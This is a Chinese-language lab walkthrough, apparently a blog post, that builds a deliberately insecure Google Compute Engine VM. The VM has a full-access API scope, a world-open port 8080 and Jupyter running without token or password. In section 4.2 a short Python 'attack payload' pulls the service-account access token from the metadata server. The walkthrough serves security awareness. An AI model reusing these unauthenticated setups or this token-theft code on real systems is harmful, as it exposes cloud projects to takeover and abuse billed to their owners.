Google Compute Engine安全实践：元数据服务配置风险分析与警示

今天我在Google Cloud Compute Engine环境下，针对元数据服务的访问控制机制进行了一次深入的安全配置研究。通过构建一个包含多层级配置问题的测试场景，我完整地演示了云环境中权限配置不当可能引发的连锁安全风险。这项研究清晰地表明：单一维度的配置疏忽，可能在云平台中产生远超预期的权限扩散效应。

🔒 安全研究规范声明

本研究严格遵循以下准则：

环境隔离性：使用独立、专用的测试项目
操作合规性：在完全授权的范围内进行
资源可追溯：所有创建资源均有明确标记
善后完整性：研究完成后彻底清理所有测试资源

第一阶段：创建存在配置缺陷的虚拟机

1.1 基础环境搭建

登录 Google Cloud Console
导航到 Compute Engine → VM instances
点击 "Create Instance" 创建新实例

1.2 虚拟机基础配置

复制代码

名称: vuln-jupyter-demo
区域: us-central1 (可任选)
机型: e2-micro (性价比选择)
系统盘: Debian 11/12 或 Ubuntu 20.04/22.04

1.3 关键错误配置#1：过度授权的API访问

这是第一个也是最危险的配置错误：

复制代码

路径: Security → Access scopes
配置: 选择 "Allow full access to all Cloud APIs"

风险分析：这个选项相当于给虚拟机实例授予了项目的"金牌令箭"。实例内的应用将获得对项目中几乎所有云资源（Storage、Compute、SQL等）的完全访问权限。

1.4 关键错误配置#2：暴露的网络标签

展开高级选项 → 网络配置：

复制代码

网络标签: bad-firewall-rule

这个标签将成为我们后续开放端口的"目标标识"。

第二阶段：配置有安全隐患的防火墙规则

2.1 创建防火墙规则

导航到 VPC network → Firewall
点击 "Create Firewall Rule"

2.2 规则详细配置

复制代码

规则名称: allow-jupyter-8080
目标类型: Specified target tags
目标标签: bad-firewall-rule
源IP范围: 0.0.0.0/0  # 完全开放给所有IP地址
协议端口: TCP:8080

风险分析：这个配置使得全球任何IP地址都能访问该虚拟机的8080端口，为后续攻击敞开了大门。

第三阶段：部署不安全的Jupyter服务

3.1 通过SSH连接到实例

回到 Compute Engine -> VM instances。

点击刚才创建的 vuln-jupyter-demo 右侧的 SSH 按钮。

3.2 安装必要软件

在弹出的黑色终端窗口中，依次复制并执行以下命令（一行一行执行）：

bash 复制代码

# 更新软件源
sudo apt update

# 安装Python包管理工具
sudo apt install python3-pip -y

# 安装Jupyter Lab
pip3 install jupyterlab --break-system-packages

# 将本地路径添加到环境变量
export PATH=$PATH:~/.local/bin

3.3 以不安全方式启动Jupyter

bash 复制代码

# 解释参数：
# --ip=0.0.0.0 : 允许外部所有 IP 连接
# --port=8080 : 监听 8080 端口
# --no-browser : 服务器模式，不尝试打开本地浏览器
# --NotebookApp.token='' : 【高危】禁用 Token 验证
# --NotebookApp.password='' : 【高危】禁用密码验证

jupyter lab --ip=0.0.0.0 --port=8080 --no-browser --NotebookApp.token='' --NotebookApp.password=''

风险分析：

--ip=0.0.0.0：允许任意IP连接
空Token和密码：完全绕过身份验证
组合效果：任何人都能无认证访问Jupyter并执行任意代码

3.4 访问Jupyter服务

在浏览器中访问：

bash 复制代码

http://<虚拟机外部IP>:8080/lab

注意：必须使用HTTP协议，而非HTTPS。效果如下：

第四阶段：漏洞利用演示

4.1 在Jupyter中创建Python Notebook

点击左侧"+"图标创建新Notebook
选择"Python 3"内核

4.2 执行攻击载荷

python 复制代码

import requests
import json

# Google内部元数据服务的固定地址
metadata_url = "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
metadata_headers = {"Metadata-Flavor": "Google"}

# 获取访问令牌
response = requests.get(metadata_url, headers=metadata_headers)
token_data = response.json()

print("[!] 攻击者成功获取的Access Token:")
print(f"Token: {token_data['access_token']}")
print(f"类型: {token_data['token_type']}")
print(f"过期时间: {token_data['expires_in']}秒")

4.3 实验结果

执行后，你将看到类似下面的输出：

我们来对比一下VM的元数据，正常情况下（默认情况下 ），VM会有一个大概的权限范围，如下：

但是，开启 Full Access 的VM，则会有一个完整的权限，如下：

实验总结

你会看到打印出了一长串字符（ya29.c.xxxx...）。这就意味着，任何只要能扫描到你 IP:8080 的人，都可以拿到这个 Token。因为你在第一步给了 "Full Access"，黑客可以用这个 Token 在你不知情的情况下创建成千上万台挖矿机，账单全算你的。